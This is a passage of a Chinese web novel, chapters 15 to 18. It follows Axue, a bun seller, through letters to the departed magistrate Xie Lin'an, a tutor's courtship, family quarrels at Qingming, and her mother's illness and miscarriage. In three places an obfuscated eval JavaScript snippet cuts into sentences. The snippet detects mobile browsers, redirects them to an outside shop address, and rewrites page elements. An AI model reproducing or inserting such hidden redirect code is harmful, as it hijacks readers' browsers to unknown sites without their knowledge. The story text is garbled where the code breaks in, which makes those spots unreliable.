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这里卖的自然不是什么贵重的玩意,大多是木簪子,只有几个银簪子,擦的锃亮。那小贩是个会做生意的,见阿雪频频朝着这边看,便大声吆喝。 “漂亮的簪子喽!物美价廉,走过路过不要错过!” “郎君,你可以给我买支簪子吗?”阿雪转过头,认认真真地道:“集市上的簪子大多十几文,我给你三十文。” 阿雪想着,报仇归报仇,一码归一码,她可不占他的便宜,他都穷成什么样子了。 谢临安在听见她说完后却是眼睛眯了眯。 奇怪的,让人充满探索欲望的小娘子。 不过是一支簪子,恐怕京城那些贵女的丫鬟们都瞧不上眼。 阿雪伸手递过来一把铜板,谢临安没接,阿雪心想,这是不想给她买的意思。罢了,她就是突然想要个簪子而已,大可以自己买。 不过现在没什么心情,回去之后,阿雪难得地夜里没睡着。 “怎么不睡?” 焦红杏翻身,阿雪平躺在床榻上,两只手规矩的放在身侧,睡相颇为斯文。 “不困,娘,明日县令就走了。” “嗯,我听隔壁嫂子说了,凶手不在这就好,我们都安全。”小镇人人自危,如今得了准信,便都放下心来。 阿雪嗯了一声闭上眼睛。 另一边,谢临安也并未入睡。 还有一些其他繁琐之事宜需要他过目,松石则是在一旁收拾行李,主仆二人俱是忙碌。 “松石,回去时间紧,一些无用之物留下便好。” 啊?都是衣食住行要用的东西,哪有无用之物? 看来郎君是嫌弃三个马车过于招摇?也是,命案悬而未决,确实该低调行事。 这套是郎君喜欢的紫砂壶,万万不可丢。这几件是今年新做的衣裳,扯的是烟霞布,近年京城时兴的布料,一年产不了几匹,扔不得。这个是…… 翻来覆去,松石为难了,好像都舍不得啊。 “茶叶,未用的帕子,还有……”谢临安翻过一页书,声音淡淡道:“那些不爱用的物件,一并送去给她。” “给她?” 给谁? 松石脑子嗡的一下。 卢小娘子? 15. 第 15 章 谢临安走的时候有不少百姓夹道相送,阿雪也在其中。 今日一早天未亮松石就来到铺子里,交给阿雪一个用帕子包着的东西,语气酸溜溜:“郎君赏你的。” 本以为这样说小娘子面上挂不住,却不想阿雪笑了。“送的什么?” “你打开看看不就知道了。”说完松石转身要走,阿雪忙叫住人:“你们什么时候离开。” 尽管不想告诉,但松石还是说了时辰,阿雪也来了,可惜,没瞧见谢临安。 三驾马车架势十足,身后的捕快们则是都骑着高头大马。阿雪来的早,马车刚过来,不过眼看着就要从她面前经过了。 有心大喊他的名字,人多却又不妥,阿雪攥紧手里的东西,殷红的唇微微抿着。片刻后,清风徐来,第一辆马车的车帘微动。阿雪眸带惊喜,看见探出一只骨节分明的手来掀帘子。 她认得这只手。 她曾和这只手的主人十指相握。 “郎君。”阿雪小声念了一句。 不知道是他听见了,还是怎么回事,帘子后露出一张俊美的脸。眉眼风流,英姿非凡。 只听人群里低低的吸气声。 谢临安准确无误地捕捉到人群里那张笑颜如花的脸。 京城里的小娘子们或是含蓄或是矜持,虽然也会看谢临安,但从来不敢像阿雪这般直白,目不斜视,四目相对。 她神情坦荡,不觉得自己盯着一个男子看有何不可,甚至抬起手,偷偷的朝着谢临安挥了挥。 明明昨日听见他要走的消息时一脸难过,这会儿又变了,谢临安眸色深深带着探寻的目光扫向她。 片刻后,帘子放下,就再也瞧不见那张脸了。 百姓们的欢呼声掩盖住渐行渐远的车轮声,阿雪目送他,直至再也看不见。 “阿雪,方才你可看见县令大人?是不是俊美的如仙君?”莲花捂嘴小声耳语,转过头却见阿雪眼神直愣愣。 “哎,阿雪,阿雪?” 缓过神来的阿雪一脸茫然,莲花啧啧两声,挤眉弄眼道:“怎么如此心不在焉?哎,说说,你那边进度如何了?” 阿雪转身朝着铺子走去,还没反应过来:“什么进度?” 莲花拿胳膊肘捅她,笑嘻嘻道:“还能是什么,你最近不是日日送饭吗?怎么样,吃的香不香?” “还成,不过从今天开始就不用送了。” 莲花追着问为什么,但阿雪什么都没说。 到了铺子里,莲花亦步亦趋地跟着阿雪,阿雪揉面和馅,和往常一样忙碌,等到上锅蒸制后,才转身问莲花:“你铺子里不忙吗?” 眼看着就要入夏,不少百姓扯布去找铺子做衣裳,比直接买成衣要便宜一半,因此莲花这些日子每每都要忙到入夜。 莲花坐下,撑着脸笑:“忙啊,但更好奇你的事情。我们是什么关系?还不能说说?” 俩人认识的念头久了,莲花了解阿雪,虽然她表面上看风平浪静,但很明显,她心不在焉。 上次让阿雪如此表现,还是因为老家亲戚来欺负她娘。所以莲花直觉,阿雪和严夫子之间不太对劲。 可惜,问了许久阿雪也不说,莲花那头确实有活要做,便说明日再来。 晌午时候,焦红杏来送饭。 “娘,我都说了不用送了。” 人都走了还送什么送,阿雪嘴角向下,低着头道:“正好你落得清净,在家养身体。” 瞧着女儿情绪低落,焦红杏有心问问,但想着到底是女儿家面皮薄,这件事还得大人帮忙才行。 因此嘴上说着知道了,实际上走过一个道口阿雪看不见她后,焦红杏就转身朝着另外方向去。 到学堂时已经过了午饭时辰,焦红杏在外面等了一会,严为之才匆忙而来。 …… 晚上石头小跑着过来,“阿姐,阿姐,严夫子来了,就在后面!” 严为之喊卢石头等等,但卢石头只当没听见。他着实对夫子没有任何好感,说话文绉绉他一点都听不懂,而且上课还喜欢提问他。 卢石头本来就入学晚,又不肯用功,几乎没有答上来的时候。严为之倒不会斥责他,但比斥责更令人难受的是,他会长篇大论的教育他,而且上课打盹走神都不行,严为之会走到他身边敲桌子。 简直比上刑还要难受! 好不容易逃离了学堂,他可不想再和严为之有任何瓜葛,因此步履匆忙将人甩掉。可没想到一回头,严为之竟然还在! 卢石头大觉不妙! 对方会不会是来告状?说他上课开小差?亦或者说他学业不好? 一连串可能的理由从卢石头脑袋里过,气的他咬牙切齿。 怎么阴魂不散啊! 与之相比阿雪格外平静,她道:“嗯,来买馒头吧。” 卢石头立刻否认;“不可能!他早上才买了五个馒头!” 严为之一介书生,胃口小的可怜,卢石头自认为他一顿饭顶严为之一天的饭量。因此,那五个馒头,绝对够严为之吃两天。 姐弟俩说话的功夫,严为之气喘吁吁地赶来,因着小跑着脸色涨红,一双眼睛紧紧盯着阿雪看,连卢石头不情不愿喊夫子都没听见。 “严夫子,来馒头还是包子?” “东西很好吃,谢谢。”严为之说这话时面带羞涩之意,不过阿雪忙着收拾灶台,所以并没有瞧见。 一旁的卢石头起了一身鸡皮疙瘩。 学堂里的严夫子和现在的严夫子,简直判若两人啊! 见阿雪没搭理他,严为之有点尴尬,手忙脚乱不知道说什么好了。正好视线一扫瞧见卢石头,便清了清嗓子。 “石头,今日课上可有哪里听不懂的地方?” 明明声音温和,可在卢石头听来却如地狱之音。 “没有没有!”卢石头双手举起来否认,“没有听不懂的。” 好不容易捱到下学,他可真不想听讲了。但是严为之没有放过他的意思,他没什么理由留下,便只能拿卢石头当借口,随口说了一段考他,果然答不上来,严为之便转头与阿雪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13604686|142725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“石头启蒙太晚,有的地方没学过,确实会慢一些,不过阿雪莫急,我这就教他。” 阿雪朝着他笑笑:“多谢严夫子。” 一个达成目的,一个真心感谢,只有卢石头是真的受伤,回到家时眼神涣散,半点光都没有。 一连几天,严夫子都来给卢石头开小灶,阿雪感激极了,还给他拿新出锅的包子吃。 等卢石头抓耳挠腮写字之时,严为之就能借机和阿雪说几句话,一来二去,比之前亲近不少。 这天,严为之直接给卢石头留了两张大字,约莫要写一盏茶的功夫,严为之转过身,假装咳了咳。 “阿雪,石头进步很快。” “真的啊?”原本在做活的阿雪立刻擦净手过来,询问石头近日如何。 “表现不错,就是写字方面有待提升,需要额外多指点。” 卢石头翻了个白眼。 学堂里也不全是厉害的,和他一样写的歪歪扭扭之人大有人在,怎么不见他去指点啊? 还不是因为他有个漂亮阿姐。 也就她阿姐心思单纯没看出来,卢石头气哼哼,心想阿姐千万别看上他,否则白日学堂见,晚上家里见,他还要不要活了? 俩人说了好一会话,阿雪像是突然想起什么似的,眼睛发亮看着严为之。 自认为沉稳的严为之紧张的吞咽口水,心脏怦怦乱跳,额角隐隐发麻。 “阿雪……你想说什么?” “能不能请你帮个忙?”阿雪半点羞涩之意都没有,“我有几个字拿不准,想让你帮忙看看。” 见她如此,严为之那点心思破灭了。但他安慰自己,日久见真情,再等等。于是耐下心来教阿雪。 …… 进城卖皮毛的卢大富回来了。 没成想受了伤,阿雪和石头进屋里就闻到一股药味,加之焦红杏哭肿了眼睛,立刻明白伤势恐怕不轻。 “小事,不过是肩膀被刺了一下而已。”卢大富哈哈笑,宽慰一双儿女道:“受了点皮外伤,救下一个人,值了!” 当时卢大富卖完皮草刚出城不久,路上瞧见有人欺男霸女,他当即冲了上去,那人不敌卢大富,拿出刀刺伤卢大富后逃脱,被欺负的女子才得以回家。 焦红杏埋怨:“那也不能为了救人搭上自己性命。” 卢大富瓮声瓮气:“我这不是好好的嘛,对了,阿雪和石头,天黑之后莫要在外逗留太久,那名女子就差点被拐走欺负,最近人贩子太过猖獗,小心为好。” 阿雪点头应下:“知道了爹。” 卢石头则是挥舞着沙包大的拳头,将今天的怨气全部发泄,小少年恶狠狠地道:“敢来欺负我阿姐试试?看我一拳打死他!” “行了,像你爹一样冲动,莫要横冲直撞,多观察多想想,拳头不能解决所有问题。” 焦红杏耳提面命,卢石头连连点头,阿雪孝顺地端来热水,一家人坐在一起叙话。 既然爹爹回来,阿雪就得回自己房里睡。正好,她要做的事情必须避开人。 16. 第 16 章 “这里不比京城,赵友成,你何苦?” 正值入夏,庭院中的柳树抽绿,泛黄草地也冒出嫩绿,郁郁青青一派生机勃勃。 刚过晌午,温度不冷不热,一方小院内设置了桌椅,桌上摆放精致糕点若干。一只修长如玉的手捏着杯盏,端起浅啜,薄唇上染了水色顿显晶莹。 玉树兰芝,俊美如仙。 放下杯盏后一只手抵着额头,看向对面之人。 锦衣玉袍,面容清秀,正是方才被谢临安说的赵友成。他乃是国公府的世子爷,谢临安在京城时二人交好,也不知怎么,竟然追来了这等小地方。 多日赶路之下,赵友成有些疲惫,道:“我家里的情况你又不是不知道,老头子非要让我入仕,可我不想啊,当一个闲散世子多好,往后再领个闲职,潇潇洒洒的过一生。” 他比谢临安还小一岁,如今才十九,科举考试之后勉强当了个举人,赵国公不满,要让他继续下场考。 “他也不想想,自己是个武将,怎么可能教出来一个文臣?” 谢临安不置可否。 国公爷是武将,随着先帝打江山。国公府风头无量,可保几代繁荣。估摸老国公深知赵友成是个花架子,战场上刀剑无言,若是伤了可就不妙。 “临安,你说我说的是也不是?”赵友成撇嘴,和好友埋怨道:“这也就算了,他还拿我和谢家二房那个谢康安比,呵呵。” 赵友成最后两个呵呵十分灵性,半是无奈半是嘲讽。 “老头子说,谢康安十岁才回侯府,如今十九岁和我同龄,但课业优异,今年下场考试定当大展宏图。哎,临安,不是我说,你那个弟弟就是笑面虎,狗腿子!听说在书院时候他被人欺负,后来跟着王家那几个混,开始欺负别人。” 赵友成打心眼里瞧不上这种人。 “趋炎附势,狗仗人势!” 老头子竟然拿他和这种人比?呸! 提到二房的谢康安,谢临安的眸色变了一瞬,但赵友成还在激动地骂骂咧咧,因此也没发现。 “总而言之,我就你这么一个真心朋友,这次就在你这呆着,什么时候老头子消气了,我再什么时候回去。” 赵友成说话太多嗓子有点哑,一旁立着的松石见状立刻上前斟茶。 要说这位赵世子和郎君的渊源,要从五年前说起。 京城世家子弟太多,没事就弄什么赏花宴,什么踏青宴。谢临安出身不凡又容貌好,总有人邀请他去参加宴席。 不过谢临安一般不去,只有时觉得烦了,才挑两个有趣的赴宴。那次是游船,也不知道怎么回事,赵友成竟然掉了下去,他不会游泳,秋日的河水冰冷刺骨,赵友成觉得自己要死了。 就在万念俱灰之时,谢临安出现。他将赵友成救了上去,自那之后,赵友成就觉得他们是过命的交情。 为了救他不顾危险跳入水里,不是过命的交情是什么? 然而实际情况是,坐船无聊的谢临安看见水里落败的莲花,十五岁的少年突发奇想,直接跃入水中打算找莲蓬抠莲子,扑腾的赵友成将水搅浑了,不耐烦的谢临安一把将人拽起来。 自那之后,赵友成开始跟着谢临安,直至现在。 “没地方给你住。”谢临安毫不留情,“当县衙是客栈?” 谢临安的性子一直如此,赵友成没觉得有何不妥,死缠烂打道:“就给我一间房睡觉就成,不管什么房间!” 他不信县衙这么大,连个客房都没有。 “赵郎君,还真没有。”松石解释道:“这里不比京城和其他富裕的州县,衙署只有三间房能住人,郎君一间我一间,还有一间专门放郎君的物品。您也知道,我们郎君出京城时夫人准备了五辆马车,库房里放不下,只能把客房当仓库用。” 赵友成的唇角忍不住抽搐。 他自然知道谢临安是讲究人,但都来破地方当县令了,还讲究个什么劲啊。可这话他不敢说,只讪讪道:“挪腾出来,若是再不成,我就住客栈。但有一点,莫要告诉老头子我在你这。” 谢临安轻笑:“国公爷早就料到了,想必不日就回来将你捉回去。” “哎!到时候老头打我,你可要替我说情啊!他最喜欢你。” 去年谢临安打马游街,风头无量,成了所有世家子弟的楷模。 唇角向上的郎君看似在笑,赵友成却挠挠头,一时拿不准他的心思了。正当要说话的时候,有捕快进来,手里拿着一封信。 “大人,您的信。” 赵友成忙讨好道:“想必是京城侯府想念临安了。” 谢临安也以为是京城来信,只是拿过来看见上面歪歪扭扭的字迹后,他面带古怪之色,片刻后才缓缓撕开,展开信纸。 “怎么了?谁的信?” 赵友成看见好像只有两三行字迹,因着谢临安背对日头,他还能看见信纸上似乎有个圆圆的东西。 那是什么?暗号? 在赵友成好奇甚至鬼鬼祟祟打算偷看之时,谢临安合上信纸,他不动声色,也看不出到底是谁来信。 赵友成笑了:“看来寄信之人和你格外亲近,瞧你心情似乎大好啊。” “是么?”回想起信纸上铜钱大小的人脸,上面简单画了弯弯的眼睛,谢临安笑容扩大。 她果然是有趣的人。 …… 阿雪寄信的时候特意问过,因着城里离这不远,所以三四天就能到,如果对方当天就回信的话,一来一回六天怎么也够了。 可是等了六天,没有消息。 阿雪想,或许谢临安太忙了,毕竟是县令,肯定有很多公务要处理,因此她耐下心来继续等。 七天,没有消息。 八天,没有消息。 …… 第九天的时候,阿雪让莲花帮忙看店铺,她小跑着过去询问有没有她的信。 “小娘子,你日日都来,真没有。若是有的话,我早就给你送去了,你放心吧。” 小镇又小又穷,本未设置驿站,也没有信差,恰好在城里驿站当差的人住在他们这,每隔两天回一次家,平日里会帮百姓们跑腿送信,亦或者买卖小玩意。 阿雪给了他一大把铜钱,他肯定上心。但显然,真的没有她的信。 明媚舒朗的小娘子顿时蔫了,那个信差都不好意思了,主动找补道:“可能对方太忙,小娘子再等等。” 只是又等了几天,清明节都来了,她的回信还没到。 清明节要回家扫墓,因此阿雪提前一天告诉总来的老主顾,她要休三天。 严夫子早上来买菜包子,闻言不舍道:“村里道路崎岖,阿雪行走之时要多加小心。” 卢石头翻白眼。 就说路上小心得了,还道路崎岖。 严为之一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13607412|142725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直如此说话,阿雪都习惯了,“谢谢严夫子,对了,这几天石头也要回去,学堂那边这几天便不去了。” 学堂只在清明那日休息,卢石头要走三天,阿雪担心他课业跟不上。 似是知道她的担忧,严为之立刻道:“阿雪放心,等石头回来我单独给他找补,保管不让他落下。” 阿雪兴高采烈,卢石头面如死灰。 卢家祖坟在村子里,只有清明和年根底下才会回来祭拜。卢大富找人借了一辆驴车,免得娘几个劳累。 卢石头还成,就怕阿雪和焦红杏累着,卢大富忙着往车上搬东西,不让家里女眷插手。 准备了纸钱和祭拜用的馒头,另外买了一只烧鸡。一家四口锁好门便往村子里去,阿雪让焦红杏坐在里面,她和卢石头替她挡风。 焦红杏慈爱的给女儿拢了拢碎发,道:“现在天气热,娘不怕吹风的。阿雪,女儿家要注意保暖,你让石头坐在外面,你和娘来里面坐。” 这几天阿雪来了月事,焦红杏都记得日子,出门前还给她熬了红糖水带着。 就这么一路有说有笑,一家四口进了村子。 村子里人不少,打从卢家人进村起,投在他们身上的视线就没断过。有探究有好奇,阿雪神色坦然,焦红杏却低垂着脑袋不敢看他们。 女儿被退婚,是她当娘的不称职,焦红杏本就性子软弱,一个两个人还好,这么多人一起看她,不用说流言蜚语,她就已经受不了了。 总算熬到去往祖坟的山脚下,一家四口下车,卢大富和相熟的村里人打招呼,焦红杏抱着烧鸡等在一旁。 卢石头去系驴车,祖坟就在山上不远处,不怕车丢。刚系好,就有熟人来招呼他。 “你是卢石头吧?哎呀,长这么大了。”几个年迈的妇人和老者走了过来,卢石头依稀觉得面熟,但一年不回来几次,着实认不清。 卢大富过来挨个介绍,卢石头与阿雪只能喊人。 “都是实在亲戚,往后多回来串门啊。” 这话是对卢石头说的,小少年含糊着应下。等寒暄完了之后,像是才看见阿雪似的。 “你们家卢雪出落这么好看了,她小时候我就说她是个美人胚子,果然,越长越漂亮。” 卢石头偷偷翻白眼,心想用你说,我娘那么美,我阿姐怎么可能不好看。 “阿雪,可记得我?哎呀,孩子真好看,现在可有合适的婆家?三姑婆给你介绍一个?” 不等阿雪说话,那老妇继续道:“我有个远房侄子,年岁和阿雪相当,给人家做木匠活为生,我看你们正好。” 巧了,焦红杏正好曾听说过这人,不止比阿雪大五岁,还是个瘸子。她急的不行,想要小声提醒卢大富。 不待焦红杏说话,阿雪就开口了,日光洒下,她比春日里的野花还要明媚。 “行,告诉对方我要十里红妆,早点来家里提亲啊。” 老妇噎的不行,焦红杏柔柔弱弱假意训斥阿雪:“阿雪莫要胡说,姑婆也是为了你好,十里红妆恐怕不行,但五里应当有的。当着卢家列祖列宗的面,姑婆肯定给你说一个身体强健的好夫婿。” 卢大富性子直也不清楚内里,还真笑呵呵的应了:“只要身体好能干就成,姑母,有劳了。” 他拳头顶上一个人脑袋大了,若是哄骗了他女儿,恐怕没有好下场。三姑婆讪讪说有事,赶忙溜了。 17. 第 17 章 今日不是来烧纸,天色太晚,他们先来把路上的野草收拾一通,待明日清明节才开始烧纸祭祖。 卢家有个破旧的老房子,一家子暂时住在那。久不住人,屋里都是灰尘,卢大富和卢石头进去收拾,让母女俩坐在院子里等着。 收拾好之后天色也晚了,直接用锅把带来的包子热一热,就当晚饭吃。 早起晚睡的阿雪难得休息一天,天刚擦黑就躺下睡了,待听见争吵声时醒来,发现外面天色如墨,乌云压顶,隐隐有要下大雨的迹象。而堂屋里,卢大富和人争吵之后,索性将人撵了出去。 “大富,你别这样,这不是让村里人戳我们脊梁骨吗。” 卢大富性子耿直,这会儿气的面如猪肝色,瓮声瓮气道:“不管我女儿是不是被退婚,他们也不能欺负人,要给阿雪相看老光棍!” 就在方才吃完饭,卢家一些长辈上门,打着为阿雪好的名义给她说亲,年纪一大把还没成亲,卢大富虽然不太聪明但也不傻,肯定有问题! 他人高马大声如洪钟,大声质问之下有人没顶住压力,直接吐露实情,气的卢大富差点动手。 他女儿是家里的掌上明珠,如何受这种委屈!当即和他们吵了起来,还放言肯定会给女儿找好人家,否则自己愿意一辈子养着她。 旁边卢石头也挥舞拳头,跃跃欲试道:“爹,你让打谁我就打谁!” 焦红杏愁的不行,先拉着卢石头耳朵让他冷静,不许乱打人,又温柔细语劝慰卢大富,总算将父子俩安抚下来。 “到底是本家的亲戚,如此不留情面不好。”焦红杏温声道:“你好好说不就成了,哪里要动怒。再说,也不是他们说让阿雪嫁谁就嫁谁,还是我们自己说的算。” 当年焦红杏进门时,那些老古董就不同意,说什么样貌太好招惹是非,甚至将卢大富老爹的死也安在她身上,只说她是祸水,克死了老爷子。 后来阿雪出落的越发貌美,动歪心思的就多了,不过当时有侯府的亲事挡着,他们不敢也不能怎么样。如今被退婚,那些老家伙就觉得阿雪可以任由摆布,一窝蜂的涌了上来。 一是为了拿阿雪做人情,二则是嫉妒卢大富一家过的好。 一样都是地里刨食的,凭什么卢大富就能住在镇子里?不止有房子,还有一间小铺子,且还让一个女娃娃来卖馒头挣钱! 族里也有老一辈,不止一次提过,说什么阿雪一个人不成,要从族里派个岁数大的帮忙。 卢大富刚开始还真以为他们是帮忙,是真心实意怕阿雪被欺负。但经过焦红杏的提醒,卢大富第二天去问帮忙要不要钱,结果老一辈的人语重心长道:“凭你良心,不过叔伯们建议一人一半,毕竟人家也出力了嘛。” 卢大富当即炸了,无法骂长辈,直接将要去帮忙的小辈骂的狗血喷头,他力气大,谁都怕他动手,这件事最后也就不了了之了。 自那之后,卢大富就看明白族里人的嘴脸了,这次更是不留情面,直接将人都赶出去。 焦红杏觉得不留情面不是好事,毕竟老家在这祖坟也在这。 “我们没事,还要多想想孩子们,若是传出去丁点坏名声,阿雪和石头的婚事怎么办。” “那有什么。” “阿姐,你醒了。” 不知道何时阿雪站在门口,她走过来,不甚在意的模样。 “镇子上也有流言蜚语,但我们过好自己的日子就成了,不管别人如何作想。” 卢石头连连点头,无比赞同。 消气了的卢大富冷静下来,和焦红杏站在一条线上。 “你娘说的对,得考虑你们。” 总而言之,他一定会给闺女找个好人家!当天晚上,卢大富主动问起严为之,焦红杏心情舒畅,说了不少好话。 “看来,严夫子确实是个好人选,如果他能力气大点就好了,总觉得读书人身体不大好。” …… 昨晚倾盆大雨,第二日扫墓不免困难,忙活到晌午,天气渐热,大家都起了一身薄汗,待祭拜结束往山下走时已经下午,凉风一吹,焦红杏连打了几个喷嚏。 她身子骨一向不好,卢大富连忙让原地休息。尽管如此,待回到镇子上时,焦红杏脸色还是很差。 卢大富急的不行,让卢石头赶车将人送回家,他直接跳车跑着去镇子上找大夫。 镇子里只有赤脚大夫,诊断之后说是风寒。卢大富皱着眉头道:“她身体一直不好,方才睡过去说胡话,还有,她胳膊上起了一个包,不知道被什么咬的,大夫,你看是怎么回事?” 赤脚大夫寻常头疼脑热可以治,其他的一概不知。 喝了汤药不见好转,卢大富照看一夜,阿雪和卢石头也不敢去休息,守在焦红杏床边。 翌日天色微亮,熬了一夜眼睛都是红血丝的卢大富决定带焦红杏进城。 阿雪立刻站起来:“我也去。” 石头也要去。 没什么比双亲更重要。 卢大富道:“我去借车,你们先照看好你娘。” 等卢大富走了后,阿雪忽地想到了什么,跑去自己房里,拿起毛笔刷刷写,待墨迹干了后装封,交给石头让他帮忙去送。 石头脚程快,没一会就回来,擦了下脑门汗道:“阿姐,说没有你的信。” 阿雪眼睛里闪过失望。 “信差说他正好今日回去,他骑马比咱们快,估摸天黑信就能到城里。” 阿雪垂着眸子整理衣服,只点了点头。 卢大富很快就回来了,镇子里只有富人家有马车,他搭不上话,所以还是借了驴车。抱着焦红杏时候,她缓缓睁眼,声音柔弱但态度坚决:“我没事,再睡一觉就好了,莫要折腾还花钱。” 忍一忍就过去了,焦红杏还让阿雪给她烧热水,说多喝点水就舒服了。 以前家里不富裕,焦红杏身体再怎么不舒服,她都会说自己没事。忍耐疼痛似乎成了习惯,哪怕现在难受的直冒冷汗,脸色惨白的母亲露出笑意安抚儿女。 “娘没事,别怕。” 卢大富心疼不已。 “有钱,不怕。” 阿雪帮腔:“娘,去吧,我和石头好放心,对吧石头?” 卢石头终于聪明一回,连连点头:“对啊,娘,我心里有事没法好好念书。” 卢大富直接曲臂抱着人往外走,焦红杏再说不行也没用。 石头去赶车,阿雪则是拎着衣服和薄被留在后面锁门。 途中路过阿雪的铺子,看见严为之站在那,石头便说这几日又不能去学堂了。 严为之也一脸急切,说让他们安心去城里,不用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13624098|142725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 担心课业的事情。 等人都走远了,严为之才恋恋不舍的抱着书本朝学堂去了。 …… 从镇子去往城里,坐驴车起码要四天。 晚上他们就找村庄借宿,实在没有就只能住在野外。幸而天气不冷,又带了薄被,一家子对付着赶路,就是焦红杏状态越发不好。 阿雪不懂医理,可焦红杏脸色煞白,嘴上说着不难受,实际上双手捂着肚子,显然是疼极了。 怎么可能没事? 赤脚大夫给开的药一直喝着,阿雪第一次觉得四天如此漫长。 另一边,谢临安再次收到信件。 信封上依旧歪歪扭扭的写着他的大名和衙署地址。 松石头皮发麻,心道小小村女未免胆子太大了,竟然直呼大人姓名! 谢临安看着信封若有所思。 上一封他并未回信,本以为她会放弃,没想到竟然又来一封。 比他想象中更有耐心。 第一封信里只是寒暄,谢临安忍不住想,这封信里或许就该要写一些“寄思之情”。 从小到大,谢临安收到的示好信数不胜数,那时候作为太子伴读,身边的同窗大多是皇亲国戚,几位公主纷纷示好,也曾私下里送他密信,只是他从来都懒得拆开。 不过是觉得有趣,所以才看了卢雪的第一封信罢了。 俊美郎君一只手撑着额头,看着桌面上的信件,并未有所动作。 松石暗暗松了口气,因为他觉得自家郎君对那位村女的态度太不同了。 不管是觉得有趣还是其他什么原因,松石认为,都不是好征兆。 幸好,郎君并没有想看的意思。 “郎君,赵郎君来了。”门敞着,瞧见赵友成后松石立刻汇报。 谢临安淡淡嗯了一声,把信夹在了一旁的书里。 赵友成兴致勃勃进来:“临安,晌午吃什么?” 按理说衙署是有厨子的,不过他谢临安出了名的矜贵郎君,出京城时光厨子就带了四个,更别提其他侍候的人。 不过也怪,赵友成回头看了一眼正在洒扫的两个丫鬟。 他谢临安放着貌美的丫鬟不用,反而要让人家干粗活? 啧,真是不懂怜香惜玉。 “想吃什么大可以派人告诉厨房。”谢临安睨了他一眼,“记得交伙食费。” 赵友成捂着胸口一脸夸张:“压榨我,你的良心不会痛吗?” 谢临安微微一笑:“不好意思,不会。” 黄昏时分下值,赵友成拉着谢临安出去喝酒。 京城里的世家子弟从小就是如此,只是这处小城池着实没太多可供游玩之处,找了当地最豪华酒楼进去,坐在高出观赏日落夜景。 窗户开着,可以眺望远处。 底下忙碌的百姓们游走,在他们这种出身不凡的人眼中,似乎和蚂蚁没什么区别。 赵友成喝的多了,口齿不清地控诉家里老头子逼迫他的恶行,说了好一会不见对面谢临安回应。 “临安,你有没有听。” 谢临安收回视线,压下心中一丝烦躁之意。 …… 入夜之后,熟睡的松石听见动静起身,瞧见主屋里亮起了光。 他揉眼睛过去,见谢临安正在看信。 18. 第 18 章 在第三天傍晚时分,一家子赶在城门关闭前进了城。 这还是阿雪第一次进城,果然比小镇热闹许多,卢石头也心生好奇,脑袋一直来回转。日头下落,街道两旁的商铺立刻点灯,顿时灯火通明。 阿雪收回视线,忙问:“爹爹,哪里有医馆?” 卢大富一年总进城卖打来的猎物,多少知道路。不过他还从未去过医馆,因此只能找人打探。 用了一盏茶的功夫,他们才顺利摸到医馆,卢大富抱着人进去,身后阿雪和石头帮忙拿东西。 看诊过后,老大夫说只是风寒,至于身上的包,或许就是山上不知名的虫子,涂了清凉膏之后立刻消肿。 “不过她身体不好,我下的都是缓性药材,会好的很慢。”老大夫头发花白,一看就经验颇丰,“怕药劲太猛她吃不住。” “对对,不怕慢,能好就成。大夫,你再帮忙看看,还有没有别的地方不对?” 卢大富看向妻子,道:“她一直捂着肚子。” 焦红杏已经昏睡过去,两只手还摸在肚子上,那老大夫好像预料到他会问,捋着胡子,言辞闪烁。 卢大富性子淳朴直接,让老大夫有什么话就说,他们能承受住,还是阿雪见状不对,拉着石头出去。 屋里,老大夫叹气道:“你媳妇应当有一个月身孕了,不过这次生病,孩子恐怕保不住。” 卢大富脑子一空。 过了半响,卢大富红着眼睛从房间里出来,阿雪和石头齐刷刷看他,卢大富道:“你们先在此陪着你娘,爹去找地方,这几天就在城里休息。” 如果是普通的风寒,吃完药两天就能回去,但大夫方才检查过,焦红杏裤子染了不少血,已经流产了。 既然如此,要好好养着身体,免得落下病根。 卢大富走后,老大夫端来汤药,还指使阿雪给焦红杏换身干净衣服。阿雪也看见血了,但她以为是母亲来月事,幸好阿雪也来了小日子,包裹里有做好的月事带,直接帮忙垫好。 “天色也晚了,喝完药拎着这些药材包你们就可以离开。” 卢大富还没回来,阿雪便先结清药钱,只是她发现城里看病价格甚高,原本带的钱一部分拿去付客栈钱,剩下大半袋,甚至不够付这次的药钱。 “还差三十文。” 阿雪清点过后先将手里的钱给老大夫,有心求情便宜一些,不等开口,老大夫先一步道:“小本买卖,钱货两清。” “这样,我给你写欠条,到时候拿钱来还你。” 老大夫打量他们二人的穿着,摇头道:“你们不是本地的吧?那不行,就算写欠条,我又无法核实身份,到时候你们跑了怎么办?” 总而言之,不付钱就是不成,甚至将开好的药材包扣下,意思是有钱才能拿走。 